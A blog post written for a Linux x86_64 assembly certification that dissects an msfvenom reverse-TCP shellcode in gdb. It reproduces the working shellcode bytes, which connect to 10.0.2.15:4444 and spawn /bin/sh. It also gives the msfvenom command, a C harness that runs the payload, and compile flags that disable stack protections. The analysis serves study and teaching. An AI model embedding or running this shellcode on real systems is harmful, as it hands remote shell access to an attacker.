Msfvenom generated shell_reverse_tcp payload
in Blog
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification. The task for 5.3/7 assignment is to analyse at least 3 shellcode examples created using Msfpayload for linux/x86_64. Since msfpayload is outdated, I used msfvenom instead. The analysis of the shellcodes is carried out using the gdb debugger and 3/3 shellcode analysed in this article is the shell_reverse_tcp payload.
Student ID: SLAE64 - 1594
MSFvenom generated linux/x64/shell_reverse_tcp payload
As a follow up to analysing exec shellcode and bind shellcode, I am going to be analysing the linux/x64/shell_reverse_tcp as final payload for task number 5. This payload is used to make the connection back to the attackers machine and spawn a command shell. In order to generate the payload I used the following command:
msfvenom -p linux/x64/shell_reverse_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 335 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x0a\x00\x02\x0f\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
Shellcode test program
In order to analyse the generated payload I am placing it into the C program which will be executing the shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x0a\x00\x02\x0f\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
and finally compile the C program as follows:
gcc -m64 -fno-stack-protector -z execstack testshellcode.c -o testshellcode -no-pie
Analysis
I will be taking the same type of approach in the analysis of this payload as in the previous one for bind shellcode. There are 4 syscalls being executed so let’s go through them one by one. The concept of a reverse shellcode is that there is an attacker controlled machine somewhere where the attacker is waiting a connection back on a specific port and it is shellcode’s job to make initiate that connection.
For that to happen this generated payload makes use of a chain of syscalls –> it first creates a new socket()
, then attempts to connect()
to the attacker controlled machine and once it does, it launches the execve()
syscall.
1 - socket()
- syscall number, 0x29 is placed to
rax
right in the beginning with 2 instructionspush 0x29
andpop rax
- cdq is then used to sign-extend the value in
rax
, which means it would zero outrdx
which is pretty convenient - with next push’es and pop’s 0x2 and 0x1 are placed to
rdi
andrsi
respectively, so we could finally launch thesocket()
syscall
0x0000000000601060 <code+0>: push 0x29
0x0000000000601062 <code+2>: pop rax
0x0000000000601063 <code+3>: cdq
0x0000000000601064 <code+4>: push 0x2
0x0000000000601066 <code+6>: pop rdi
0x0000000000601067 <code+7>: push 0x1
0x0000000000601069 <code+9>: pop rsi
0x000000000060106a <code+10>: syscall
2 - connect()
To make a connection back to the attacker controlled machine, shellcode needs to contain important information like ip and port, in our case this is all displayed to us at offset +14 where hexadecimal value is moved to rcx. What that hexadecimal value 0xf02000a5c110002
actually represents can be teared up to following bits:
- 0002 - AF_INET, ipv4 address families
- 5c11 - in little endian 115c converted to decimal gives us the port number 4444
- 0x0a00020f is the hexadecimal format of an IP address 10.0.2.15
As connect()
syscall has 3 arguments int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
we need to prepare the corresponding registers rdi
, rsi
and rdx
. By pushing rcx
to the stack and then moving it to rsi
we prepare the 2nd argument. The following push 0x10
which we then immediately pop into rdx
is the overall size of the sockaddr *addr
structure, which is 16 bytes. And as usual, you can find the syscall number from rax
0x000000000060106c <code+12>: xchg rdi,rax
0x000000000060106e <code+14>: movabs rcx,0xf02000a5c110002
0x0000000000601078 <code+24>: push rcx
0x0000000000601079 <code+25>: mov rsi,rsp
0x000000000060107c <code+28>: push 0x10
0x000000000060107e <code+30>: pop rdx
0x000000000060107f <code+31>: push 0x2a
0x0000000000601081 <code+33>: pop rax
0x0000000000601082 <code+34>: syscall
3 - dup2()
Next we are duplicating file descriptors and as we have seen in the previous post about bind shell, msfvenon generates this part so that it is done in a loop for duplicating stdin-1, stdout-2 and stdout-3.
0x0000000000601084 <code+36>: push 0x3
0x0000000000601086 <code+38>: pop rsi
0x0000000000601087 <code+39>: dec rsi
0x000000000060108a <code+42>: push 0x21
0x000000000060108c <code+44>: pop rax
0x000000000060108d <code+45>: syscall
0x000000000060108f <code+47>: jne 0x601087 <code+39>
4 - execve()
and finally the reverse shell launches the execve()
syscall where 0x68732f6e69622f
marks that the program to be launched is /bin/sh
0x0000000000601091 <code+49>: push 0x3b
0x0000000000601093 <code+51>: pop rax
0x0000000000601094 <code+52>: cdq
0x0000000000601095 <code+53>: movabs rbx,0x68732f6e69622f
0x000000000060109f <code+63>: push rbx
0x00000000006010a0 <code+64>: mov rdi,rsp
0x00000000006010a3 <code+67>: push rdx
0x00000000006010a4 <code+68>: push rdi
0x00000000006010a5 <code+69>: mov rsi,rsp
0x00000000006010a8 <code+72>: syscall
So the whole concept of this shellcode looks pretty much as I have already described in the blog post about reverse shell.
Related posts:
- 64-bit bindshell with a passphrase protection
- 64-bit reverse shell with passphrase protection
- Egghunter (64-bit Linux) using access() syscall
- Writing a 64-bit custom encoder (reversed byte order of 4 byte chunks)
- Msfvenom generated Exec shellcode analysis - exec shellcode
- Msfvenom generated bind_tcp shellcode analysis
- Msfvenom generated shell_reverse_tcp payload
- Polymorphic shellcodes for samples taken from Shell-Storm
- Custom encrypter - One-time pad (OTP)